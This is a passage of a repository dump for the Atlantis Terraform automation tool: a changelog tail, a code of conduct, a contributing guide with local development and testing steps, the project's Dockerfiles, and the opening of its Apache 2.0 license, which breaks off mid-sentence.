([#206](https://github.com/hootsuite/atlantis/pull/206)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.1/atlantis_linux_arm.zip) # v0.2.0 ## Features * GitLab is now supported! ([#190](https://github.com/hootsuite/atlantis/pull/190)) * Slack notifications. ([#199](https://github.com/hootsuite/atlantis/pull/199)) ## Bug Fixes None ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.0/atlantis_linux_arm.zip) # v0.1.3 ## Features * Environment variables are passed through to `extra_arguments`. ([#150](https://github.com/hootsuite/atlantis/pull/150)) * Tested hundreds of lines of code. Test coverage now at 60%. ([https://codecov.io/gh/hootsuite/atlantis](https://codecov.io/gh/hootsuite/atlantis)) ## Bug Fixes * Modules in list of changed files weren't being filtered. ([#193](https://github.com/hootsuite/atlantis/pull/193)) * Nil pointer error in bootstrap mode. ([#181](https://github.com/hootsuite/atlantis/pull/181)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.3/atlantis_linux_arm.zip) # v0.1.2 ## Features * all flags passed to `atlantis plan` or `atlantis apply` will now be passed through to `terraform`. ([#131](https://github.com/hootsuite/atlantis/pull/131)) ## Bug Fixes * Fix command parsing when comment ends with newline. ([#131](https://github.com/hootsuite/atlantis/pull/131)) * Plan and Apply outputs are shown in new line. ([#132](https://github.com/hootsuite/atlantis/pull/132)) ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.2/atlantis_linux_arm.zip) # v0.1.1 ## Backwards Incompatibilities / Notes: * `--aws-assume-role-arn` and `--aws-region` flags removed. Instead, to name the assume role session with the GitHub username of the user running the Atlantis command use the `atlantis_user` terraform variable alongside Terraform's [built-in support](https://www.terraform.io/docs/providers/aws/#assume-role) for assume role (see https://github.com/runatlantis/atlantis/blob/main/README.md#assume-role-session-names) * Atlantis has a docker image now ([#123](https://github.com/hootsuite/atlantis/pull/123)). Here is how you can try it out: ```bash docker run runatlantis/atlantis:v0.1.1 server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN ``` ## Improvements * Support for HTTPS cloning using GitHub username and token provided to atlantis server ([#117](https://github.com/hootsuite/atlantis/pull/117)) * Adding `post_plan` and `post_apply` commands ([#102](https://github.com/hootsuite/atlantis/pull/102)) * Adding the ability to verify webhook secret ([#120](https://github.com/hootsuite/atlantis/pull/120)) ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.1.1/atlantis_linux_arm.zip) ================================================ FILE: CODEOWNERS ================================================ # https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners # These owners will be the default owners for everything in the repo. * @runatlantis/maintainers @runatlantis/core-contributors app/renovate-approve ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team by messaging `@PePE Amengual`, `@Dylan Page` or `@chenrui333` on the [Atlantis Slack community](https://slack.cncf.io/). All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq ================================================ FILE: CONTRIBUTING.md ================================================ # Contributing # Table of Contents - [Reporting Issues](#reporting-issues) - [Reporting Security Issues](#reporting-security-issues) - [Creating a Pull Request](#creating-a-pull-request) - [Developing](#developing) - [Updating The Website](#updating-the-website) - [Running Atlantis Locally](#running-atlantis-locally) - [Running Atlantis With Local Changes](#running-atlantis-with-local-changes) - [Rebuilding](#rebuilding) - [Running Tests Locally](#running-tests-locally) - [Running Tests In Docker](#running-tests-in-docker) - [Calling Your Local Atlantis From GitHub](#calling-your-local-atlantis-from-github) - [Code Style](#code-style) - [Logging](#logging) - [Errors](#errors) - [Testing](#testing) - [Mocks](#mocks) - [Backporting Fixes](#backporting-fixes) - [Manual Backporting Fixes](#manual-backporting-fixes) - [Creating a New Release](#creating-a-new-release) # Reporting Issues * When reporting issues, please include the output of `atlantis version`. * Also include the steps required to reproduce the problem if possible and applicable. This information will help us review and fix your issue faster. * When sending lengthy log-files, consider posting them as a gist (https://gist.github.com). Don't forget to remove sensitive data from your logfiles before posting (you can replace those parts with "REDACTED"). # Reporting Security Issues We take security issues seriously. Please report a security vulnerability to the maintainers using [private vulnerability reporting](https://github.com/runatlantis/atlantis/security/advisories/new). # Creating a Pull Request * Fork the [Atlantis repo](https://github.com/runatlantis/atlantis) * Create a new branch, commit your changes * Make sure to sign your commits, for example by adding `-s` when committing, see more [here](https://probot.github.io/apps/dco/). * Create a PR * Make sure your title follows Conventional Commits by using a prefix like `fix:` or `feat:`, see more [here](https://www.conventionalcommits.org/en/v1.0.0/). * Link to any issues, including one you may have made If you have any questions about the contribution process, see [Atlantis Contributors on Slack](https://cloud-native.slack.com/archives/C07T45G27EZ). # Developing ## Updating The Website * To view the generated website locally, run `npm website:dev` and then open your browser to http://localhost:8080. * The website will be regenerated when your pull request is merged to main. ## Running Atlantis Locally * Clone the repo from https://github.com/runatlantis/atlantis/ * Compile Atlantis: ```sh go install ``` * Run Atlantis: ```sh atlantis server --gh-user --gh-token --repo-allowlist --gh-webhook-secret --log-level debug ``` If you get an error like `command not found: atlantis`, ensure that `$GOPATH/bin` is in your `$PATH`. ## Running Atlantis With Local Changes Docker compose is set up to start an atlantis container and ngrok container in the same network in order to expose the atlantis instance to the internet. In order to do this, create a file in the repository called `atlantis.env` and add the required env vars for the atlantis server configuration. e.g. ```sh NGROK_AUTHTOKEN=1234567890 ATLANTIS_GH_APP_ID=123 ATLANTIS_GH_APP_KEY_FILE="/.ssh/somekey.pem" ATLANTIS_GH_WEBHOOK_SECRET=12345 ``` Note: `~/.ssh` is mounted to allow for referencing any local ssh keys. Following this just run: ```sh make build-service docker-compose up --detach docker-compose logs --follow ``` ### Rebuilding If the ngrok container is restarted, the url will change which is a hassle. Fortunately, when we make a code change, we can rebuild and restart the atlantis container easily without disrupting ngrok. e.g. ```sh make build-service docker-compose up --detach --build ``` ## Running Tests Locally `make test`. If you want to run the integration tests that actually run real `terraform` commands, run `make test-all`. ## Running Tests In Docker ```sh docker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis ghcr.io/runatlantis/testing-env:latest make test ``` Or to run the integration tests ```sh docker run --rm -v $(pwd):/go/src/github.com/runatlantis/atlantis -w /go/src/github.com/runatlantis/atlantis ghcr.io/runatlantis/testing-env:latest make test-all ``` ## Calling Your Local Atlantis From GitHub - Create a test terraform repository in your GitHub. - Create a personal access token for Atlantis. See [Create a GitHub token](https://github.com/runatlantis/atlantis/tree/main/runatlantis.io/docs/access-credentials.md#generating-an-access-token). - Start Atlantis in server mode using that token: ```sh atlantis server --gh-user --gh-token --repo-allowlist --gh-webhook-secret --log-level debug ``` - Download ngrok from https://ngrok.com/download. This will enable you to expose Atlantis running on your laptop to the internet so GitHub can call it. - When you've downloaded and extracted ngrok, run it on port `4141`: ```sh ngrok http 4141 ``` - Create a Webhook in your repo and use the `https` url that `ngrok` printed out after running `ngrok http 4141`. Be sure to append `/events` so your webhook url looks something like `https://efce3bcd.ngrok.io/events`. See [Add GitHub Webhook](https://github.com/runatlantis/atlantis/blob/main/runatlantis.io/docs/configuring-webhooks.md#configuring-webhooks). - Create a pull request and type `atlantis help`. You should see the request in the `ngrok` and Atlantis logs and you should also see Atlantis comment back. ## Code Style ### Logging - `ctx.Log` should be available in most methods. If not, pass it down. - levels: - debug is for developers of atlantis - info is for users (expected that people run on info level) - warn is for something that might be a problem but we're not sure - error is for something that's definitely a problem - **ALWAYS** logs should be all lowercase (when printed, the first letter of each line will be automatically capitalized) - **ALWAYS** quote any string variables using %q in the fmt string, ex. `ctx.Log.Info("cleaning clone dir %q", dir)` => `Cleaning clone directory "/tmp/atlantis/lkysow/atlantis-terraform-test/3"` - **NEVER** use colons "`:`" in a log since that's used to separate error descriptions and causes - if you need to have a break in your log, either use `-` or `,` ex. `failed to clean directory, continuing regardless` ### Errors - **ALWAYS** use lowercase unless the word requires it - **ALWAYS** use `fmt.Errorf("additional context: %w", err)"` instead of `fmt.Errorf("additional context: %s", err)` because it is less likely to result in mistakes and gives us the ability to trace calls - **NEVER** use the words "error occurred when...", or "failed to..." or "unable to...", etc. Instead, describe what was occurring at time of the error, ex. "cloning repository", "creating AWS session". This will prevent errors from looking like ``` Error setting up workspace: failed to run git clone: could find git ``` and will instead look like ``` Error: setting up workspace: running git clone: no executable "git" ``` This is easier to read and more consistent ### Testing - place tests under `{package under test}_test` to enforce testing the external interfaces - if you need to test internally i.e. access non-exported stuff, call the file `{file under test}_internal_test.go` - use our testing utility for easier-to-read assertions: `import . "github.com/runatlantis/atlantis/testing"` and then use `Assert()`, `Equals()` and `Ok()` ### Mocks We use [pegomock](https://github.com/petergtz/pegomock) for mocking. If you're modifying any interfaces that are mocked, you'll need to regen the mocks for that interface. Install using `go install github.com/petergtz/pegomock/v4/pegomock@latest` If you see errors like: ``` # github.com/runatlantis/atlantis/server/events [github.com/runatlantis/atlantis/server/events.test] server/events/project_command_builder_internal_test.go:567:5: cannot use workingDir (type *MockWorkingDir) as type WorkingDir in field value: *MockWorkingDir does not implement WorkingDir (missing ListAllFiles method) ``` Then you've likely modified an interface and now need to update the mocks. Each interface that is mocked has a `go:generate` command above it, e.g. ```go //go:generate pegomock generate -m --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder type ProjectCommandBuilder interface { BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) } ``` To regen the mock, run `go generate` on that file, e.g. ```sh go generate server/events/project_command_builder.go ``` Alternatively, you can run `make go-generate` to execute `go generate` across all packages ================================================ FILE: Dockerfile ================================================ # syntax=docker/dockerfile:1@sha256:4a43a54dd1fedceb30ba47e76cfcf2b47304f4161c0caeac2db1c61804ea3c91 # what distro is the image being built for ARG ALPINE_TAG=3.23.3@sha256:25109184c71bdad752c8312a8623239686a9a2071e8825f20acb8f2198c3f659 ARG DEBIAN_TAG=12.13-slim@sha256:f06537653ac770703bc45b4b113475bd402f451e85223f0f2837acbf89ab020a # renovate: datasource=docker depName=golang versioning=docker ARG GOLANG_TAG=1.25.4-alpine@sha256:d3f0cf7723f3429e3f9ed846243970b20a2de7bae6a5b66fc5914e228d831bbb # renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp ARG DEFAULT_TERRAFORM_VERSION=1.14.5 # renovate: datasource=github-releases depName=opentofu/opentofu versioning=hashicorp ARG DEFAULT_OPENTOFU_VERSION=1.11.5 # renovate: datasource=github-releases depName=open-policy-agent/conftest ARG DEFAULT_CONFTEST_VERSION=0.66.0 # Stage 1: build artifact and download deps FROM --platform=$BUILDPLATFORM golang:${GOLANG_TAG} AS builder # These are automatically populated by Docker ARG TARGETOS ARG TARGETARCH ARG ATLANTIS_VERSION=dev ENV ATLANTIS_VERSION=${ATLANTIS_VERSION} ARG ATLANTIS_COMMIT=none ENV ATLANTIS_COMMIT=${ATLANTIS_COMMIT} ARG ATLANTIS_DATE=unknown ENV ATLANTIS_DATE=${ATLANTIS_DATE} ARG DEFAULT_TERRAFORM_VERSION ENV DEFAULT_TERRAFORM_VERSION=${DEFAULT_TERRAFORM_VERSION} ARG DEFAULT_CONFTEST_VERSION ENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION} WORKDIR /app # This is needed to download transitive dependencies instead of compiling them # https://github.com/montanaflynn/golang-docker-cache # https://github.com/golang/go/issues/27719 # renovate: datasource=repology depName=alpine_3_22/bash versioning=loose ENV BUILDER_BASH_VERSION="5.2.37-r0" RUN apk add --no-cache \ bash=${BUILDER_BASH_VERSION} COPY go.mod go.sum ./ SHELL ["/bin/bash", "-o", "pipefail", "-c"] RUN --mount=type=cache,target=/go/pkg/mod \ go mod graph | awk '{if ($1 !~ "@") print $2}' | xargs go get COPY . /app RUN --mount=type=cache,target=/go/pkg/mod \ --mount=type=cache,target=/root/.cache/go-build \ CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags "-s -w -X 'main.version=${ATLANTIS_VERSION}' -X 'main.commit=${ATLANTIS_COMMIT}' -X 'main.date=${ATLANTIS_DATE}'" -v -o atlantis . FROM debian:${DEBIAN_TAG} AS debian-base # Define package versions for Debian # renovate: datasource=repology depName=debian_12/ca-certificates versioning=loose ENV DEBIAN_CA_CERTIFICATES_VERSION="20230311+deb12u1" # renovate: datasource=repology depName=debian_12/curl versioning=loose ENV DEBIAN_CURL_VERSION="7.88.1-10+deb12u14" # renovate: datasource=repology depName=debian_12/git versioning=loose ENV DEBIAN_GIT_VERSION="1:2.39.5-0+deb12u2" # renovate: datasource=repology depName=debian_12/unzip versioning=loose ENV DEBIAN_UNZIP_VERSION="6.0-28" # renovate: datasource=repology depName=debian_12/openssh-server versioning=loose ENV DEBIAN_OPENSSH_SERVER_VERSION="1:9.2p1-2+deb12u7" # renovate: datasource=repology depName=debian_12/dumb-init versioning=loose ENV DEBIAN_DUMB_INIT_VERSION="1.2.5-2" # renovate: datasource=repology depName=debian_12/gnupg versioning=loose ENV DEBIAN_GNUPG_VERSION="2.2.40-1.1+deb12u2" # renovate: datasource=repology depName=debian_12/openssl versioning=loose ENV DEBIAN_OPENSSL_VERSION="3.0.17-1~deb12u2" # Install packages needed to run Atlantis. # We place this last as it will bust less docker layer caches when packages update RUN apt-get update && \ apt-get install -y --no-install-recommends \ ca-certificates=${DEBIAN_CA_CERTIFICATES_VERSION} \ curl=${DEBIAN_CURL_VERSION} \ git=${DEBIAN_GIT_VERSION} \ unzip=${DEBIAN_UNZIP_VERSION} \ openssh-server=${DEBIAN_OPENSSH_SERVER_VERSION} \ dumb-init=${DEBIAN_DUMB_INIT_VERSION} \ gnupg=${DEBIAN_GNUPG_VERSION} \ openssl=${DEBIAN_OPENSSL_VERSION} && \ apt-get clean && \ rm -rf /var/lib/apt/lists/* FROM debian-base AS deps # Get the architecture the image is being built for ARG TARGETPLATFORM WORKDIR /tmp/build # install conftest ARG DEFAULT_CONFTEST_VERSION ENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION} SHELL ["/bin/bash", "-o", "pipefail", "-c"] RUN AVAILABLE_CONFTEST_VERSIONS=${DEFAULT_CONFTEST_VERSION} && \ case ${TARGETPLATFORM} in \ "linux/amd64") CONFTEST_ARCH=x86_64 ;; \ "linux/arm64") CONFTEST_ARCH=arm64 ;; \ # There is currently no compiled version of conftest for armv7 "linux/arm/v7") CONFTEST_ARCH=x86_64 ;; \ esac && \ for VERSION in ${AVAILABLE_CONFTEST_VERSIONS}; do \ curl -LOs "https://github.com/open-policy-agent/conftest/releases/download/v${VERSION}/conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz" && \ curl -LOs "https://github.com/open-policy-agent/conftest/releases/download/v${VERSION}/checksums.txt" && \ sed -n "/conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz/p" checksums.txt | sha256sum -c && \ mkdir -p "/usr/local/bin/cft/versions/${VERSION}" && \ tar -C "/usr/local/bin/cft/versions/${VERSION}" -xzf "conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz" && \ ln -s "/usr/local/bin/cft/versions/${VERSION}/conftest" /usr/local/bin/conftest && \ rm "conftest_${VERSION}_Linux_${CONFTEST_ARCH}.tar.gz" && \ rm checksums.txt; \ done # install git-lfs # renovate: datasource=github-releases depName=git-lfs/git-lfs ENV GIT_LFS_VERSION=3.7.1 RUN case ${TARGETPLATFORM} in \ "linux/amd64") GIT_LFS_ARCH=amd64 ;; \ "linux/arm64") GIT_LFS_ARCH=arm64 ;; \ "linux/arm/v7") GIT_LFS_ARCH=arm ;; \ esac && \ curl -L -s --output git-lfs.tar.gz "https://github.com/git-lfs/git-lfs/releases/download/v${GIT_LFS_VERSION}/git-lfs-linux-${GIT_LFS_ARCH}-v${GIT_LFS_VERSION}.tar.gz" && \ tar --strip-components=1 -xf git-lfs.tar.gz && \ chmod +x git-lfs && \ mv git-lfs /usr/bin/git-lfs && \ git-lfs --version # install terraform binaries ARG DEFAULT_TERRAFORM_VERSION ENV DEFAULT_TERRAFORM_VERSION=${DEFAULT_TERRAFORM_VERSION} ARG DEFAULT_OPENTOFU_VERSION ENV DEFAULT_OPENTOFU_VERSION=${DEFAULT_OPENTOFU_VERSION} # COPY scripts/download-release.sh . COPY --from=builder /app/scripts/download-release.sh download-release.sh # In the official Atlantis image, we only have the latest of each Terraform version. # Each binary is about 80 MB so we limit it to the 4 latest minor releases or fewer RUN ./download-release.sh \ "terraform" \ "${TARGETPLATFORM}" \ "${DEFAULT_TERRAFORM_VERSION}" \ "1.8.5 1.9.8 1.10.5 ${DEFAULT_TERRAFORM_VERSION}" \ && ./download-release.sh \ "tofu" \ "${TARGETPLATFORM}" \ "${DEFAULT_OPENTOFU_VERSION}" \ "${DEFAULT_OPENTOFU_VERSION}" # Stage 2 - Alpine # Creating the individual distro builds using targets FROM alpine:${ALPINE_TAG} AS alpine EXPOSE ${ATLANTIS_PORT:-4141} HEALTHCHECK --interval=5m --timeout=3s \ CMD curl -f http://localhost:${ATLANTIS_PORT:-4141}/healthz || exit 1 # Set up the 'atlantis' user and adjust permissions RUN addgroup atlantis && \ adduser -S -G atlantis atlantis && \ chown atlantis:root /home/atlantis/ && \ chmod u+rwx /home/atlantis/ # copy atlantis binary COPY --from=builder /app/atlantis /usr/local/bin/atlantis # copy terraform binaries COPY --from=deps /usr/local/bin/terraform/terraform* /usr/local/bin/ COPY --from=deps /usr/local/bin/tofu/tofu* /usr/local/bin/ # copy dependencies COPY --from=deps /usr/local/bin/conftest /usr/local/bin/conftest COPY --from=deps /usr/bin/git-lfs /usr/bin/git-lfs COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh # renovate: datasource=repology depName=alpine_3_23/ca-certificates versioning=loose ENV CA_CERTIFICATES_VERSION="20251003-r0" # renovate: datasource=repology depName=alpine_3_23/curl versioning=loose ENV CURL_VERSION="8.17.0-r1" # renovate: datasource=repology depName=alpine_3_23/git versioning=loose ENV GIT_VERSION="2.52.0-r0" # renovate: datasource=repology depName=alpine_3_23/unzip versioning=loose ENV UNZIP_VERSION="6.0-r16" # renovate: datasource=repology depName=alpine_3_23/bash versioning=loose ENV BASH_VERSION="5.3.3-r1" # renovate: datasource=repology depName=alpine_3_23/openssh versioning=loose ENV OPENSSH_VERSION="10.2_p1-r0" # renovate: datasource=repology depName=alpine_3_23/dumb-init versioning=loose ENV DUMB_INIT_VERSION="1.2.5-r3" # renovate: datasource=repology depName=alpine_3_23/gcompat versioning=loose ENV GCOMPAT_VERSION="1.1.0-r4" # renovate: datasource=repology depName=alpine_3_23/coreutils versioning=loose ENV COREUTILS_ENV_VERSION="9.8-r1" # Install packages needed to run Atlantis. # We place this last as it will bust less docker layer caches when packages update RUN apk add --no-cache \ ca-certificates=${CA_CERTIFICATES_VERSION} \ curl=${CURL_VERSION} \ git=${GIT_VERSION} \ unzip=${UNZIP_VERSION} \ bash=${BASH_VERSION} \ openssh=${OPENSSH_VERSION} \ dumb-init=${DUMB_INIT_VERSION} \ gcompat=${GCOMPAT_VERSION} \ coreutils-env=${COREUTILS_ENV_VERSION} ARG DEFAULT_CONFTEST_VERSION ENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION} # Set the entry point to the atlantis user and run the atlantis command USER atlantis ENTRYPOINT ["docker-entrypoint.sh"] CMD ["server"] # Stage 2 - Debian FROM debian-base AS debian EXPOSE ${ATLANTIS_PORT:-4141} HEALTHCHECK --interval=5m --timeout=3s \ CMD curl -f http://localhost:${ATLANTIS_PORT:-4141}/healthz || exit 1 # Set up the 'atlantis' user and adjust permissions RUN useradd --create-home --user-group --shell /bin/bash atlantis && \ chown atlantis:root /home/atlantis/ && \ chmod u+rwx /home/atlantis/ # copy atlantis binary COPY --from=builder /app/atlantis /usr/local/bin/atlantis # copy terraform binaries COPY --from=deps /usr/local/bin/terraform/terraform* /usr/local/bin/ COPY --from=deps /usr/local/bin/tofu/tofu* /usr/local/bin/ # copy dependencies COPY --from=deps /usr/local/bin/conftest /usr/local/bin/conftest COPY --from=deps /usr/bin/git-lfs /usr/bin/git-lfs # copy docker-entrypoint.sh COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh ARG DEFAULT_CONFTEST_VERSION ENV DEFAULT_CONFTEST_VERSION=${DEFAULT_CONFTEST_VERSION} # Set the entry point to the atlantis user and run the atlantis command USER atlantis ENTRYPOINT ["docker-entrypoint.sh"] CMD ["server"] ================================================ FILE: Dockerfile.dev ================================================ FROM ghcr.io/runatlantis/atlantis:latest@sha256:bdf219f4ee5a87435ef1f1b0ffc39cf8e86d39bd67d2fac6d86f25a8500c4ce2 COPY atlantis /usr/local/bin/atlantis WORKDIR /atlantis/src ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such 